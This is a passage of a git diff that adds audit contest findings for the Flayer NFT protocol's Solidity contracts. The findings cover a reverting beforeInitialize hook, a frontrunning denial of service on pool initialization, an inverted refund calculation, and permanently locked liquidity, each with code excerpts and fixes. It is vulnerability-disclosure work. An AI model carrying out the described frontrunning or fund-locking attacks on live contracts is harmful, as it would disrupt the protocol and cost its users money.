+ * to call initialize, we want to prevent this from hitting.
+ */
+ function beforeInitialize(address /* sender */, PoolKey memory /* key */, uint160 /* sqrtPriceX96 */, bytes calldata /* hookData */) public view override onlyByPoolManager returns (bytes4) {
+ revert CannotBeInitializedDirectly();
+ }
+```
+
+However, as we can the [poolManager.initialize](https://github.com/Uniswap/v4-core/blob/18b223cab19dc778d9d287a82d29fee3e99162b0/src/PoolManager.sol#L132) is triggered.
+
+https://github.com/sherlock-audit/2024-08-flayer/blob/0ec252cf9ef0f3470191dcf8318f6835f5ef688c/flayer/src/contracts/implementation/UniswapImplementation.sol#L214
+
+```solidity
+uint24 lpFee = key.fee.getInitialLPFee();
+
+key.hooks.beforeInitialize(key, sqrtPriceX96, hookData); // here
+
+PoolId id = key.toId();
+uint24 protocolFee = _fetchProtocolFee(key);
+```
+
+the code tries to call beforeInitialize in the hook address.
+
+https://github.com/Uniswap/v4-core/blob/18b223cab19dc778d9d287a82d29fee3e99162b0/src/libraries/Hooks.sol#L178
+
+```solidity
+ /// @notice calls beforeInitialize hook if permissioned and validates return value
+ function beforeInitialize(IHooks self, PoolKey memory key, uint160 sqrtPriceX96, bytes calldata hookData)
+ internal
+ noSelfCall(self)
+ {
+ if (self.hasPermission(BEFORE_INITIALIZE_FLAG)) {
+ self.callHook(abi.encodeCall(IHooks.beforeInitialize, (msg.sender, key, sqrtPriceX96, hookData)));
+ }
+ }
+```
+
+https://github.com/Uniswap/v4-core/blob/18b223cab19dc778d9d287a82d29fee3e99162b0/src/libraries/Hooks.sol#L152
+
+as we can see, the uniswap requires the hood returning the
+
+```solidity
+selector_ = IHooks.beforeInitialize.selector
+```
+
+otherwise, the code key.hooks.beforeInitialize will revert and block the pool initialization.
+
+## Impact
+
+otherwise, the code key.hooks.beforeInitialize will revert and block the pool initialization.
+
+## Code Snippet
+
+https://github.com/sherlock-audit/2024-08-flayer/blob/0ec252cf9ef0f3470191dcf8318f6835f5ef688c/flayer/src/contracts/implementation/UniswapImplementation.sol#L214
+
+## Recommendation
+
+do not revert in beforeInitialize method
\ No newline at end of file
diff --git a/002/369.md b/002/369.md
new file mode 100644
index 0000000..48023b1
--- /dev/null
+++ b/002/369.md
@@ -0,0 +1,81 @@
+Soft Violet Lion
+
+Medium
+
+# initializeCollection can be frontrun and DOSed by initialize the uniswap v4 pool directly
+
+
+## Summary
+
+ as we can see the [poolManager.initialize](https://github.com/Uniswap/v4-core/blob/18b223cab19dc778d9d287a82d29fee3e99162b0/src/PoolManager.sol#L132) is triggered.
+
+https://github.com/sherlock-audit/2024-08-flayer/blob/0ec252cf9ef0f3470191dcf8318f6835f5ef688c/flayer/src/contracts/implementation/UniswapImplementation.sol#L214
+
+```solidity
+ */
+ function initializeCollection(address _collection, uint _amount0, uint _amount1, uint _amount1Slippage, uint160 _sqrtPriceX96) public override {
+ // Ensure that only our {Locker} can call initialize
+ if (msg.sender != address(locker)) revert CallerIsNotLocker();
+
+ // Ensure that the PoolKey is not empty
+ PoolKey memory poolKey = _poolKeys[_collection];
+ if (poolKey.tickSpacing == 0) revert UnknownCollection();
+
+ // Initialise our pool
+ poolManager.initialize(poolKey, _sqrtPriceX96, '');
+
+ // After our contract is initialized, we mark our pool as initialized and emit
+ // our first state update to notify the UX of current prices, etc.
+ PoolId id = poolKey.toId();
+ _emitPoolStateUpdate(id);
+```
+
+note the external call poolManager.initialize.
+
+https://github.com/Uniswap/v4-core/blob/18b223cab19dc778d9d287a82d29fee3e99162b0/src/PoolManager.sol#L137
+
+```solidity
+ tick = _pools[id].initialize(sqrtPriceX96, protocolFee, lpFee);
+```
+
+we are calling
+
+https://github.com/Uniswap/v4-core/blob/18b223cab19dc778d9d287a82d29fee3e99162b0/src/libraries/Pool.sol#L101
+
+```solidity
+ function initialize(State storage self, uint160 sqrtPriceX96, uint24 protocolFee, uint24 lpFee)
+ internal
+ returns (int24 tick)
+ {
+ if (self.slot0.sqrtPriceX96() != 0) PoolAlreadyInitialized.selector.revertWith();
+
+ tick = TickMath.getTickAtSqrtPrice(sqrtPriceX96);
+
+ self.slot0 = Slot0.wrap(bytes32(0)).setSqrtPriceX96(sqrtPriceX96).setTick(tick).setProtocolFee(protocolFee)
+ .setLpFee(lpFee);
+ }
+```
+
+as we can see,
+
+if the pool is already initialized, transaction revert in PoolAlreadyInitialized.selector.revertWith();
+
+and consider that PoolManager.initialize is permissionless
+
+https://github.com/Uniswap/v4-core/blob/18b223cab19dc778d9d287a82d29fee3e99162b0/src/PoolManager.sol#L115
+
+anyone can frontrun the initializeCollection by trigger poolManager.initialize using the pool key to DOS and revert the initializeCollection because again
+
+if user initialize the pool directly via PoolManager, calling [poolManager.initialize](https://github.com/sherlock-audit/2024-08-flayer/blob/0ec252cf9ef0f3470191dcf8318f6835f5ef688c/flayer/src/contracts/implementation/UniswapImplementation.sol#L214) again during initializeCollection call will revert.
+
+## Impact
+
+ initializeCollection can be frontrun and DOSed.
+
+## Code Snippet
+
+https://github.com/sherlock-audit/2024-08-flayer/blob/0ec252cf9ef0f3470191dcf8318f6835f5ef688c/flayer/src/contracts/implementation/UniswapImplementation.sol#L214
+
+## Recommendation
+
+check if the pool already initialized, if so, do not initialize the pool again to not make the initializeCollection transaction revert.
\ No newline at end of file
diff --git a/002/432.md b/002/432.md
new file mode 100644
index 0000000..86e0edc
--- /dev/null
+++ b/002/432.md
@@ -0,0 +1,96 @@
+Shiny Mint Lion
+
+Medium
+
+# The tokens (collectionTokens and WETH) used for initializeCollection() to create a liquidity position are permanently locked in Uniswap V4.
+
+## Summary
+The tokens (collectionTokens and WETH) used for initializeCollection() to create a liquidity position are permanently locked in Uniswap V4.
+## Vulnerability Detail
+```javascript
+function initializeCollection(address _collection, uint _eth, uint[] calldata _tokenIds, uint _tokenSlippage, uint160 _sqrtPriceX96) public virtual whenNotPaused collectionExists(_collection) {
+ // Ensure the collection is not already initialised
+ if (collectionInitialized[_collection]) revert CollectionAlreadyInitialized();
+
+ // Ensure that the minimum threshold of collection tokens have been provided
+ uint _tokenIdsLength = _tokenIds.length;
+ if (_tokenIdsLength < MINIMUM_TOKEN_IDS) revert InsufficientTokenIds();
+
+ // cache
+ IBaseImplementation _implementation = implementation;
+ IERC20 nativeToken = IERC20(_implementation.nativeToken());
+
+ // Convert the tokens into ERC20's which will return at a rate of 1:1
+@>> deposit(_collection, _tokenIds, address(_implementation));
+
+ // Send the native ETH equivalent token into the implementation
+ uint startBalance = nativeToken.balanceOf(address(this));
+@>> nativeToken.transferFrom(msg.sender, address(_implementation), _eth);
+
+ // Make our internal call to our implementation
+ uint tokens = _tokenIdsLength * 1 ether * 10 ** _collectionToken[_collection].denomination();
+@>> _implementation.initializeCollection(_collection, _eth, tokens, _tokenSlippage, _sqrtPriceX96);
+
+ // Map our collection as initialized
+ collectionInitialized[_collection] = true;
+ emit CollectionInitialized(_collection, _implementation.getCollectionPoolKey(_collection), _tokenIds, _sqrtPriceX96, msg.sender);
+
+ // Refund any unused relative token to the user
+ nativeToken.transfer(
+ msg.sender,
+ startBalance - nativeToken.balanceOf(address(this))
+ );
+ }
+```
+When the user calls Locker::initializeCollection(), it internally calls UniswapImplementation::initializeCollection(), which then calls poolManager::modifyLiquidity(). At the same time, tokens are transferred from the user to the UniswapImplementation contract, and then to the poolManager contract of Uniswap V4.
+```javascript
+ function modifyLiquidity(
+ PoolKey memory key,
+ IPoolManager.ModifyLiquidityParams memory params,
+ bytes calldata hookData
+ ) external onlyWhenUnlocked noDelegateCall returns (BalanceDelta callerDelta, BalanceDelta feesAccrued) {
+ PoolId id = key.toId();
+ Pool.State storage pool = _getPool(id);
+ pool.checkPoolInitialized();
+
+ key.hooks.beforeModifyLiquidity(key, params, hookData);
+
+ BalanceDelta principalDelta;
+ (principalDelta, feesAccrued) = pool.modifyLiquidity(
+ Pool.ModifyLiquidityParams({
+@>> owner: msg.sender,
+ tickLower: params.tickLower,
+ tickUpper: params.tickUpper,
+ liquidityDelta: params.liquidityDelta.toInt128(),
+ tickSpacing: key.tickSpacing,
+ salt: params.salt
+ })
+ );
+
+ // fee delta and principal delta are both accrued to the caller
+ callerDelta = principalDelta + feesAccrued;
+
+ // event is emitted before the afterModifyLiquidity call to ensure events are always emitted in order
+ emit ModifyLiquidity(id, msg.sender, params.tickLower, params.tickUpper, params.liquidityDelta, params.salt);
+
+ BalanceDelta hookDelta;
+ (callerDelta, hookDelta) = key.hooks.afterModifyLiquidity(key, params, callerDelta, hookData);
+
+ // if the hook doesnt have the flag to be able to return deltas, hookDelta will always be 0
+ if (hookDelta != BalanceDeltaLibrary.ZERO_DELTA) _accountPoolBalanceDelta(key, hookDelta, address(key.hooks));
+
+ _accountPoolBalanceDelta(key, callerDelta, msg.sender);
+ }
+```
+In the poolManager contract of Uniswap V4, the owner of the liquidity pool is msg.sender, which is the UniswapImplementation. Therefore, no one except UniswapImplementation can directly withdraw liquidity from the pool. However, UniswapImplementation does not have any function allowing users to withdraw their liquidity tokens. Even if the NFT collection is shut down through the CollectionShutdown contract, these liquidity tokens still cannot be retrieved.
+## Impact
+The tokens used to provide the initial liquidity cannot be retrieved, resulting in a financial loss for the users.
+## Code Snippet
+https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/Locker.sol#L367
+
+## Tool used
+
+Manual Review
+
+## Recommendation
+Provide a function in UniswapImplementation that allows users to withdraw their liquidity tokens.
\ No newline at end of file
diff --git a/002/467.md b/002/467.md
new file mode 100644
index 0000000..691536c
--- /dev/null
+++ b/002/467.md
@@ -0,0 +1,163 @@
+Fancy Emerald Lark
+
+Medium
+
+# Refunding unused native tokens to user is wrong
+
+## Summary
+The implementation and flow of refunds are not possible ever. So, the tokens are locked there forever instead of intended refunds.
+
+## Vulnerability Detail
+Issue flow:
+
+Let's say the starting balance of `nativeToken` inside locker.sol is 10 ether.
+Now user registers, then initializes a BAYC collection with 10 BAYCs and 100 ether as initial LP
+But only 99 ether was used while initialization, and in this case the rest 1 ether should have been sent to the initializer, and that what what the code is trying it to do but cannot achieve it.
+
+1. 100 ether is transferred from the caller into the implementation contract on line 341 below.
+2. Then the implementation will provide 99 eth as Lp and the remaining 1 ether stays in uniswap implementation. Take a look at the `UniswapImplementation.initializeCollection` and `UniswapImplementation._unlockCallback` which never transfers the remaining 1 ether to anywhere.
+3. But, it should have transferred to locker back, and locker on line 356 should transfer it to the user as a refund /remaining.
+4. And on line 356, it should have been balanceOf(this) - starting balance, because after the tantalize the 1 ether comes back to locker and balance pumps from 10 ether starting to 11 ether now, so it should be 11 - 10 ether. Not, `startBalance - balanceOf(address(this))`
+
+https://github.com/sherlock-audit/2024-08-flayer/blob/0ec252cf9ef0f3470191dcf8318f6835f5ef688c/flayer/src/contracts/Locker.sol#L383-L398
+
+```solidity
+Locker.sol
+
+324: function initializeCollection(address _collection, uint _eth, uint[] calldata _tokenIds, uint _tokenSlippage, uint160 _sqrtPriceX96) public virtual whenNotPaused collectionExists(_collection) {
+ ---- SNIP ----
+
+339: // Send the native ETH equivalent token into the implementation
+340: >>> uint startBalance = nativeToken.balanceOf(address(this));
+341: nativeToken.transferFrom(msg.sender, address(_implementation), _eth);
+342:
+343: // Make our internal call to our implementation
+344: uint tokens = _tokenIdsLength * 1 ether * 10 ** _collectionToken[_collection].denomination();
+345: _implementation.initializeCollection(_collection, _eth, tokens, _tokenSlippage, _sqrtPriceX96);
+ ---- SNIP ----
+351: // Refund any unused relative token to the user
+354: nativeToken.transfer(
+355: msg.sender,
+356: >>> startBalance - nativeToken.balanceOf(address(this))
+357: );
+358: }
+
+```
+
+https://github.com/sherlock-audit/2024-08-flayer/blob/0ec252cf9ef0f3470191dcf8318f6835f5ef688c/flayer/src/contracts/implementation/UniswapImplementation.sol#L205-L240
+
+https://github.com/sherlock-audit/2024-08-flayer/blob/0ec252cf9ef0f3470191dcf8318f6835f5ef688c/flayer/src/contracts/implementation/UniswapImplementation.sol#L376-L420
+
+```solidity
+UniswapImplementation.sol
+
+168: function initializeCollection(address _collection, uint _amount0, uint _amount1, uint _amount1Slippage, uint160 _sqrtPriceX96) public override {
+170: if (msg.sender != address(locker)) revert CallerIsNotLocker();
+171:
+173: PoolKey memory poolKey = _poolKeys[_collection];
+174: if (poolKey.tickSpacing == 0) revert UnknownCollection();
+175:
+181: poolManager.initialize(poolKey, _sqrtPriceX96, '');
+185: PoolId id = poolKey.toId();
+186: _emitPoolStateUpdate(id);
+189: PoolParams storage poolParams = _poolParams[id];
+190: poolParams.initialized = true;
+191:
+193: poolManager.unlock(
+194: abi.encode(CallbackData({
+195: poolKey: poolKey,
+196: liquidityDelta: LiquidityAmounts.getLiquidityForAmounts({
+197: sqrtPriceX96: _sqrtPriceX96,
+198: sqrtPriceAX96: TICK_SQRT_PRICEAX96,
+199: sqrtPriceBX96: TICK_SQRT_PRICEBX96,
+200: amount0: poolParams.currencyFlipped ? _amount1 : _amount0,
+201: amount1: poolParams.currencyFlipped ? _amount0 : _amount1
+202: }),
+203: liquidityTokens: _amount1,
+204: liquidityTokenSlippage: _amount1Slippage
+205: })
+206: ));
+207: }
+208:
+
+220: function _unlockCallback(bytes calldata _data) internal override returns (bytes memory) {
+222: CallbackData memory params = abi.decode(_data, (CallbackData));
+227: (BalanceDelta delta,) = poolManager.modifyLiquidity({
+228: key: params.poolKey,
+229: params: IPoolManager.ModifyLiquidityParams({
+230: tickLower: MIN_USABLE_TICK,
+231: tickUpper: MAX_USABLE_TICK,
+232: liquidityDelta: int(uint(params.liquidityDelta)),
+233: salt: ''
+234: }),
+235: hookData: ''
+236: });
+237:
+239: if (delta.amount0() < 0) {
+240: _pushTokens(params.poolKey.currency0, uint128(-delta.amount0()));
+241: }
+242:
+244: if (delta.amount1() < 0) {
+245: _pushTokens(params.poolKey.currency1, uint128(-delta.amount1()));
+246: }
+247:
+252: if (params.liquidityTokens != 0) {
+253: uint128 deltaAbs = _poolParams[params.poolKey.toId()].currencyFlipped ? uint128(-delta.amount0()) : uint128(-delta.amount1());
+254: if (params.liquidityTokenSlippage < params.liquidityTokens - deltaAbs) {
+258: revert IncorrectTokenLiquidity(
+259: deltaAbs,
+260: params.liquidityTokenSlippage,
+261: params.liquidityTokens
+262: );
+263: }
+264: }
+265:
+267: return abi.encode(delta);
+268: }
+
+```
+
+## Impact
+The implementation and flow of refunds are not possible ever. So, the tokens are locked there forever instead of intended refunds. So, loss of funds with below medium likelihood of significant refund amounts once a while (like 2 / 10 collection initializers).
+
+
+## Code Snippet
+https://github.com/sherlock-audit/2024-08-flayer/blob/0ec252cf9ef0f3470191dcf8318f6835f5ef688c/flayer/src/contracts/Locker.sol#L383-L398
+
+https://github.com/sherlock-audit/2024-08-flayer/blob/0ec252cf9ef0f3470191dcf8318f6835f5ef688c/flayer/src/contracts/implementation/UniswapImplementation.sol#L205-L240
+
+https://github.com/sherlock-audit/2024-08-flayer/blob/0ec252cf9ef0f3470191dcf8318f6835f5ef688c/flayer/src/contracts/implementation/UniswapImplementation.sol#L376-L420
+
+## Tool used
+
+Manual Review
+
+## Recommendation
+Add the below fix to locker and also add a fix to uniswap implementation to return the remaining unused native tokens back to locker.
+
+https://github.com/sherlock-audit/2024-08-flayer/blob/0ec252cf9ef0f3470191dcf8318f6835f5ef688c/flayer/src/contracts/Locker.sol#L383-L398
+
+```diff
+ function initializeCollection(address _collection, uint _eth, uint[] calldata _tokenIds, uint _tokenSlippage, uint160 _sqrtPriceX96) public virtual whenNotPaused collectionExists(_collection) {
+ ---- SNIP ----
+ // Send the native ETH equivalent token into the implementation
+ uint startBalance = nativeToken.balanceOf(address(this));
+ nativeToken.transferFrom(msg.sender, address(_implementation), _eth);
+
+ // Make our internal call to our implementation
+ uint tokens = _tokenIdsLength * 1 ether * 10 ** _collectionToken[_collection].denomination();
+ _implementation.initializeCollection(_collection, _eth, tokens, _tokenSlippage, _sqrtPriceX96);
+
+ // Map our collection as initialized
+ collectionInitialized[_collection] = true;
+ emit CollectionInitialized(_collection, _implementation.getCollectionPoolKey(_collection), _tokenIds, _sqrtPriceX96, msg.sender);
+
+ // Refund any unused relative token to the user
+ nativeToken.transfer(
+ msg.sender,
+- startBalance - nativeToken.balanceOf(address(this))
++ nativeToken.balanceOf(address(this)) - startBalance
+ );
+ }
+```
+
diff --git a/002/485.md b/002/485.md
new file mode 100644
index 0000000..10c265d
--- /dev/null
+++ b/002/485.md
@@ -0,0 +1,56 @@
+Lone Chartreuse Alpaca
+
+Medium
+
+# `beforeInitialize` Hook is Misconfigured to Revert on All Calls, Despite Being Set to True
+
+### Summary
+
+The [beforeInitialize](https://github.com/sherlock-audit/2024-08-flayer/blob/0ec252cf9ef0f3470191dcf8318f6835f5ef688c/flayer/src/contracts/implementation/UniswapImplementation.sol#L431) hook is incorrectly configured to always revert, despite being intended to allow initialization by the Uniswap pool manager
+
+
+
+### Root Cause
+
+In UniswapImplementation contract, the `beforeInitialize` hook is set to true, as seen [here](https://github.com/sherlock-audit/2024-08-flayer/blob/0ec252cf9ef0f3470191dcf8318f6835f5ef688c/flayer/src/contracts/implementation/UniswapImplementation.sol#L431), this is meant to allow uniswap pool manager contract to call the implementation when initializing a new pool. But currently, [UniswapImplementation::beforeInitialize](https://github.com/sherlock-audit/2024-08-flayer/blob/0ec252cf9ef0f3470191dcf8318f6835f5ef688c/flayer/src/contracts/implementation/UniswapImplementation.sol#L452-L454) function always triggers a revert whenever called.
+```solidity
+
+ function beforeInitialize(
+ address /* sender */,
+ PoolKey memory /* key */,
+ uint160 /* sqrtPriceX96 */,
+ bytes calldata /* hookData */
+ ) public view override onlyByPoolManager returns (bytes4) {
+ revert CannotBeInitializedDirectly(); //<---@
+ }
+
+```
+As seen above, it currently has the `onlyByPoolManager` modifier, which restricts all calls to only the pool manager, but yet still triggers the `CannotBeInitializedDirectly` error revert afterwards.
+
+### Internal pre-conditions
+
+None
+
+### External pre-conditions
+
+None
+
+### Attack Path
+
+None
+
+### Impact
+
+
+initializing a collection via [UniswapImplementation::initializeCollection](https://github.com/sherlock-audit/2024-08-flayer/blob/0ec252cf9ef0f3470191dcf8318f6835f5ef688c/flayer/src/contracts/implementation/UniswapImplementation.sol#L205-L240) will always result in a revert.
+
+
+### PoC
+
+https://github.com/sherlock-audit/2024-08-flayer/blob/0ec252cf9ef0f3470191dcf8318f6835f5ef688c/flayer/src/contracts/implementation/UniswapImplementation.sol#L431
+
+https://github.com/sherlock-audit/2024-08-flayer/blob/0ec252cf9ef0f3470191dcf8318f6835f5ef688c/flayer/src/contracts/implementation/UniswapImplementation.sol#L452-L454
+
+### Mitigation
+
+turn [beforeInitialize](https://github.com/sherlock-audit/2024-08-flayer/blob/0ec252cf9ef0f3470191dcf8318f6835f5ef688c/flayer/src/contracts/implementation/UniswapImplementation.sol#L431) to false or update beforeInitialize function by removing the revert and also returning the function selector.
\ No newline at end of file
diff --git a/002/504.md b/002/504.md
new file mode 100644
index 0000000..0cd525f
--- /dev/null
+++ b/002/504.md
@@ -0,0 +1,39 @@
+Large Mauve Parrot
+
+High
+
+# First liquidity providers lose all of their assets
+
+### Summary
+
+_No response_
+
+### Root Cause
+
+Users providing liquidity to a new UniV4 pool via [Locker::initializeCollection()](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/Locker.sol#L367) have no way of getting their assets (native token and collection tokens) back. The owner of the liquidity will be the `UniswapImplementation` contract which has no way of retrieving it.
+
+### Internal pre-conditions
+
+_No response_
+
+### External pre-conditions
+
+_No response_
+
+### Attack Path
+
+1. Alice initializes a new collection via [Locker::initializeCollection()](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/Locker.sol#L367), she provides 10 NFTs and `NATIVE` tokens. This triggers a series of calls that transfer collection tokens and native tokens to the `UniswapImplementation` contract, which then provides the first liquidity the UniwapV4 pool via [UniswapImplementation:modifyLiquidity()](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/implementation/UniswapImplementation.sol#L382).
+2. UniswapV4 sets the owenership of the provided liquidity to the `msg.sender`, in this case the `UniswapImplementation` contract
+3. The `UniswapImplementation` contract has no functionality that allows Alice to get her native tokens and collection tokens back from the liquidity pool
+
+### Impact
+
+The user initializing a collection via [Locker::initializeCollection()](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/Locker.sol#L367) loses all of the assets: his NFTs are locked in `Locker` contract and his collection and native tokens are locked in the UniswapV4 pool.
+
+### PoC
+
+_No response_
+
+### Mitigation
+
+_No response_
\ No newline at end of file
diff --git a/002/523.md b/002/523.md
new file mode 100644
index 0000000..71f3360
--- /dev/null
+++ b/002/523.md
@@ -0,0 +1,55 @@
+Shiny Glass Hare
+
+Medium
+
+# Incorrect Refund Calculation in initializeCollection Function
+
+## Summary
+
+The function `Locker::initializeCollection` calculates the refund for excess tokens by subtracting the final balance of the contract from its starting balance using `startBalance - nativeToken.balanceOf(address(this))`. This approach is incorrect because the contract’s starting balance should not change, and any increase in balance should be refunded to the user. The current logic risks underflow if excess tokens remain after the liquidity addition, causing the transaction to fail and preventing collection initialization.
+
+## Vulnerability Detail
+
+The issue is in the refund logic within Locker::initializeCollection. The refund calculation currently uses:
+ `startBalance - nativeToken.balanceOf(address(this))`.
+
+This logic incorrectly assumes that the contract’s starting balance should decrease, which is not the case. The contract's starting balance should remain unchanged, and any increase (representing excess tokens sent by the user) should be refunded. If there is an excess amount, the current logic leads to underflow, causing a transaction revert. This prevents successful initialization of the collection.
+
+```solidity
+
+ // Send the native ETH equivalent token into the implementation
+ uint startBalance = nativeToken.balanceOf(address(this));
+ nativeToken.transferFrom(msg.sender, address(_implementation), _eth);
+
+...
+ // Refund any unused relative token to the user
+ nativeToken.transfer(
+ msg.sender,
+ startBalance - nativeToken.balanceOf(address(this))
+ );
+```
+
+## Impact
+
+The incorrect refund logic will cause the transaction to revert if any excess native tokens are left , preventing the initialization of the collection
+
+## Code Snippet
+
+https://github.com/sherlock-audit/2024-08-flayer/blob/0ec252cf9ef0f3470191dcf8318f6835f5ef688c/flayer/src/contracts/Locker.sol#L397
+
+## Tool used
+
+Manual Review
+
+## Recommendation
+
+Update the refund logic to correctly calculate the excess tokens that need to be refunded
+
+```solidity
+nativeToken.transfer(
+ msg.sender,
+- startBalance - nativeToken.balanceOf(address(this))
++ nativeToken.balanceOf(address(this)) - startBalance
+
+);
+```
diff --git a/002/542.md b/002/542.md
new file mode 100644
index 0000000..6ea7b8b
--- /dev/null
+++ b/002/542.md
@@ -0,0 +1,56 @@
+Spare Infrared Gerbil
+
+High
+
+# `initializeCollection(...)` is prone to revert
+
+### Summary
+
+The `initializeCollection(...)` function may be DOS if the caller is a contract or a multisig wallet
+
+### Root Cause
+
+The problem is that the [`initializeCollection(...)`](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/Locker.sol#L395-L398) function attempts to return excess ETH with the use of solidity's `transfer(...)` function, but this will be a problem because only 2300 gas is sent with the function but
+- multisig wallet could use up to 6000 gas,
+- contracts could implement extra logic in their receive function which will require more than 2300 gas leading to a revert due to insuffucient gas
+
+```solidity
+File: Locker.sol
+367: function initializeCollection(address _collection, uint _eth, uint[] calldata _tokenIds, uint _tokenSlippage, uint160 _sqrtPriceX96) public virtual whenNotPaused collectionExists(_collection) {
+368: // Ensure the collection is not already initialised
+369: if (collectionInitialized[_collection]) revert CollectionAlreadyInitialized();
+
+SNIP ..............
+393:
+394: // Refund any unused relative token to the user
+395: @> nativeToken.transfer( // @audit 22) will revert for some wallets due to insufficient gas
+396: msg.sender,
+397: startBalance - nativeToken.balanceOf(address(this))
+398: );
+399: }
+
+```
+
+### Internal pre-conditions
+
+_No response_
+
+### External pre-conditions
+
+_No response_
+
+### Attack Path
+
+_No response_
+
+### Impact
+
+This can lead to a DOS in the `initializeCollection(...)` function.
+
+### PoC
+
+_No response_
+
+### Mitigation
+
+Consider using `call(...)` in all instances where `transfer(...)` is used to send ETH.
\ No newline at end of file
diff --git a/002/546.md b/002/546.md
new file mode 100644
index 0000000..5fd342b
--- /dev/null
+++ b/002/546.md
@@ -0,0 +1,84 @@
+Raspy Raspberry Tapir
+
+High
+
+# Locker refunds wrong amount upon collection initialization
+
+### Summary
+
+[Locker::initializeCollection](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/Locker.sol#L382-L398) employs the wrong logic for refunding of unused native token amount:
+
+```solidity
+// Send the native ETH equivalent token into the implementation
+uint startBalance = nativeToken.balanceOf(address(this));
+nativeToken.transferFrom(msg.sender, address(_implementation), _eth);
+
+// Make our internal call to our implementation
+uint tokens = _tokenIdsLength * 1 ether * 10 ** _collectionToken[_collection].denomination();
+_implementation.initializeCollection(_collection, _eth, tokens, _tokenSlippage, _sqrtPriceX96);
+
+// @audit ... unimportant parts
+
+// Refund any unused relative token to the user
+nativeToken.transfer(
+ msg.sender,
+ startBalance - nativeToken.balanceOf(address(this))
+);
+```
+
+As can be seen:
+
+1. the contract starting balance is captured in `startBalance`
+2. `_eth` amount is transferred from the sender to the implementation
+3. Collection is initialized in the implementation (which in turn interacts with the `PoolManager` to unlock the pool)
+4. The refund in native token is sent to user as the diff `startBalance - endBalance`.
+
+Notice that:
+
+- For the last call not to revert, it should be `startBalance >= endBalance`, i.e. the native balance of the contract needs to stay the same or to decrease.
+- If for any reason it has decreased by $\Delta$, the same $\Delta$ is refunded to the caller, i.e. the total decrease will be $2\Delta$.
+
+### Root Cause
+
+The logic of refund in [Locker::initializeCollection](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/Locker.sol#L394-L398) is wrong, and the opposite should be refunded instead, i.e. `nativeToken.balanceOf(address(this)) - startBalance`.
+
+### Internal pre-conditions
+
+- Some dust is left in the `Locker`'s balance of `nativeToken` ==> then the call will revert
+- `Locker`'s balance of `nativeToken` decreases ==> the decrease will be wrongly refunded to the caller
+
+### Impact
+
+If internal preconditions are met, then either:
+- the call will revert (rendering the protocol unusable);
+- or the caller will receive the refund they have no right for, which is a direct loss of funds for the protocol.
+
+### PoC
+
+not required
+
+### Mitigation
+
+Revert the refunded amount:
+
+```diff
+diff --git a/flayer/src/contracts/Locker.sol b/flayer/src/contracts/Locker.sol
+index eeac1b0..2a50d9f 100644
+--- a/flayer/src/contracts/Locker.sol
++++ b/flayer/src/contracts/Locker.sol
+@@ -392,10 +392,10 @@ contract Locker is AirdropRecipient, ILocker, Pausable {
+ emit CollectionInitialized(_collection, _implementation.getCollectionPoolKey(_collection), _tokenIds, _sqrtPriceX96, msg.sender);
+
+ // Refund any unused relative token to the user
+- nativeToken.transfer(
+- msg.sender,
+- startBalance - nativeToken.balanceOf(address(this))
+- );
++ uint256 balanceDiff = nativeToken.balanceOf(address(this)) - startBalance;
++ if(balanceDiff > 0) {
++ nativeToken.transfer(msg.sender, balanceDiff);
++ }
+ }
+
+ /**
+```
\ No newline at end of file
diff --git a/002/555.md b/002/555.md
new file mode 100644
index 0000000..8720a52
--- /dev/null
+++ b/002/555.md
@@ -0,0 +1,62 @@
+Obedient Flaxen Peacock
+
+Medium
+
+# Initializing a collection will fail due to `beforeInitialize()` hook reverting
+
+### Summary
+
+UniswapImplementation's [`beforeInitialize()`](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/implementation/UniswapImplementation.sol#L452-L454) only reverts, which causes pool initialization always to fail.
+
+### Root Cause
+
+The [`beforeInitialize()`](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/implementation/UniswapImplementation.sol#L452-L454) hook will always revert.
+
+```solidity
+function beforeInitialize(address /* sender */, PoolKey memory /* key */, uint160 /* sqrtPriceX96 */, bytes calldata /* hookData */) public view override onlyByPoolManager returns (bytes4) {
+ revert CannotBeInitializedDirectly();
+}
+```
+
+And the `UniswapImplementation` [enables](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/implementation/UniswapImplementation.sol#L431) it.
+
+```solidity
+function getHookPermissions() public pure override returns (Hooks.Permissions memory) {
+ return Hooks.Permissions({
+ beforeInitialize: true,
+ // ... snip ...
+}
+```
+
+
+
+
+### Internal pre-conditions
+
+None
+
+### External pre-conditions
+
+None
+
+### Attack Path
+
+1. After creating a collection in Locker, anyone can [initialize](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/Locker.sol#L367-L399) the collection.
+2. Locker [calls `initializeCollection()`](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/Locker.sol#L388) in the UniswapImplementation.
+3. UniswapImplementation then [calls PoolManager's initialize()](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/implementation/UniswapImplementation.sol#L214).
+4. `initialize()` will trigger the [beforeInitialize()](https://github.com/Uniswap/v4-core/blob/e06fb6a3511d61332db4a9fa05bc4348937c07d4/src/libraries/Hooks.sol#L178-L185) hook.
+5. Since the `beforeInitialize()` is [enabled](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/implementation/UniswapImplementation.sol#L431) in the UniswapImplementation, the implementation's `beforeInitialize()` hook is called and it will always [revert](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/implementation/UniswapImplementation.sol#L452-L454).
+
+Initializing a collection will always fail.
+
+### Impact
+
+The protocol can not be used since an NFT collection can not be initialized.
+
+### PoC
+
+_No response_
+
+### Mitigation
+
+Consider disabling the `beforeInitialize()` hook in the UniswapImplementation.
\ No newline at end of file
diff --git a/002/567.md b/002/567.md
new file mode 100644
index 0000000..a9f6ae7
--- /dev/null
+++ b/002/567.md
@@ -0,0 +1,119 @@
+Sharp Blonde Camel
+
+High
+
+# Loss of native tokens due to direct transfer to hooks contracy
+
+### Summary
+
